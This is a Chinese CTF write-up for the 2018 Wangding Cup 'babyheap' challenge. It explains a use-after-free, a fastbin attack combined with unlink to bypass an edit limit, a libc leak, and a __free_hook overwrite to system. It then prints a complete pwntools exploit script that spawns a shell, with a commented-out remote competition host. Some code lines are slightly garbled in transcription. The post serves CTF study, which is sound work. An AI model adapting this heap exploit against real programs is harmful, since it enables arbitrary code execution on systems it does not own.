-
-
[原创]网鼎杯第一场预选 babyheap
-
2018-8-21 00:16
16949
-
前言
参加第一场,侥幸做出两道pwn和签到就进了前50。。貌似自己是前五十做题数量最少的。。时间不够就做出两道babyheap及GUESS。分数全靠babyheap来的。。
程序保护
程序除了没开启pie其他保护都已开启。
程序功能
很全面的菜单题。有create,edit,show,free功能。
create功能,能创建10个大小为0x30的堆块。并能进行写入。无漏洞点。
edit功能。每次edit会使dword_6020B0值+1.当dword_6020B0值为3时,不能进行edit。作用是限制只能进行三次edit。无漏洞点。
show功能,输出堆块内容。用于信息泄露
free功能。free功能存在明显的UAF漏洞,悬挂指针未请空。free功能无限制,可以任意次数的free。
利用思路
程序存在UAF漏洞,难题在于如何通过10次0x30大小的堆块创建及三次的edit完成内存的写入及信息的泄露。
这里先考虑如何完成内存写的问题。malloc的大小被固定,于是fastbin attack不可行。
再考虑unlink。程序未开启PIE,且存在edit功能,若我们能实现unlink,就可以写入保存堆块的地址,实现任意地址写。
但是fast chunk不存在unlink,我们需要free两个small chunk。这里我们可以通过在堆块的特定部分写入0x31实现fastbin attack写入下一个堆块头。使三个0x30chunk组成一个0x91的chunk,free掉。就可以实现unlink。unlink后还要突破edit次数为3的限制。下一部分仔细说。这里总结思路。
首先通过fastbin泄露堆的地址。通过堆的地址及UAF漏洞实现fastbin attack,修改特定堆块的size为0x91。
最终实现0x91 fd bk。。。。。。0x90 0x90
free下面的堆块实现unlink,此时就可以向保存堆块的数组写入。
因为在上面构造过程会使用掉edit的次数。所以我们需要突破edit的限制。即修改dword_6020B0值不为3.
之后就可以向free_hook写入system。free掉bin/sh。完成利用。
利用过程
1.通过fastbin泄露堆的地址。
a=malloc(0x20)
b=malloc(0x20)
c=malloc(0x20)//防止和top chunk合并
free(b)
free(a)//先free a会导致最低位为0x0.输出不出来
show(b)//泄露出heap的地址。
2.通过堆的地址及UAF漏洞实现fastbin attack
a=create(0x20,p64(0x31)3)
b=create(0x20)
c=create(0x20)
free(b)
edit(b,&a+0x10)
d=create(0x20)
e=create(0x20)
就可以覆盖c的堆块头。这里消耗两次edit制造两次fastbin attack。
构造过程如下
create(1,p64(0x31)3+chr(0x31))
create(2,’/bin/sh’)
create(3,’’)
create(4,p64(0x31)*3)
create(5,’’)
create(6,’’)
create(7,’’)
先创造7个堆块
free 3和2进行堆地址泄露
通过两次edit和两次create实现如图构造。已使用10次create及2次edit
3.unlink及突破edit限制
查看发现地址已被修改。但是并不能通过edit修改突破edit的限制。。。。因为即便是以数组最后一项来unlink。能写入的范围也只能到数组最后一项。(只能写入0x20大小)最坑的地方。。。。但还是必须要以数组最后一项来unlink。(伪造堆块用)
我们只剩一次edit的机会。除了free没有别的可以利用。233,我们通过edit伪造数组最后两项为chunk的pre_size和size伪造一个堆块。size为heap地址-0x6020a0+1。这样free,堆块1为fast chunk 不会unlink。会将伪造chunk当作一个巨大的unsorted bin chunk。。。
这时dword_6020B0的值被修改为unsorted bin的地址。。。顺便地址泄露出libc基址。。还真的一点不浪费。上面没有机会再free(create和edit次数不够)。
此时edit的限制也被突破。
常规思路修改free_hook为system。free2.拿到flag
脚本
m pwn import *
p=process(['./babyheap'],env={'LD_PRELOAD':'./libc.so.6'},aslr='FALSE')
#p=remote('106.75.67.115',9999)
e=ELF('./libc.so.6')
def create(a,b):
p.writeline('1')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('Content:')
p.writeline(b)
p.readuntil('Choice:')
def dele(a):
p.writeline('4')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('Choice:')
def edit(a,b):
p.writeline('2')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('Content:')
p.writeline(b)
p.readuntil('Choice:')
context(log_level='debug')
p.readuntil('Choice:')
create(1,p64(0x31)*3+chr(0x31))
create(2,'/bin/sh')
create(3,'')
create(4,p64(0x31)*3)
create(5,'')
create(6,'')
create(7,'')
dele(2)
dele(3)
p.writeline('3')
p.readuntil('Index:')
p.writeline('3')
heap=u64((p.readuntil('\n')[:-1]).ljust(8,chr(0x0)))-0x30
print hex(heap)
edit(3,p64(heap+0xa0))
zz=p64(0x90)*3+chr(0x90)
create(8,'')
edit(4,p64(0x31)*2+p64(heap+0x20))
create(0,zz)
zz=p64(0x0)+p64(0x91)+p64(0x6020a8-0x18)+p32(0x6020a8-0x10)
create(9,zz)
dele(5)
edit(9,p64(0x6020b0)+p64(0x6020a0)+p64(0)+p32(heap-0x6020a0+1))
dele(6)
gdb.attach(p)
p.writeline('3')
p.readuntil('Index:')
p.writeline('6')
libc=u64((p.readuntil('\n')[:-1]).ljust(8,chr(0x0)))-0x3C4B78
print hex(libc)
system=libc+e.symbols['system']
free_hook=libc+e.symbols['__free_hook']
edit(7,p64(free_hook))
edit(8,p64(system))
p.interactive()
总结
这道题出的真的好,我觉得我做的应该是预期解。非常极限。网鼎杯质量真的不错(可能是自己太菜)。有错误或更简单的做法欢迎交流。进前50还是很开心。有大佬让抱腿就好了23333。题什么的侵权秒删
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2019-1-28 14:35
被admin编辑
,原因: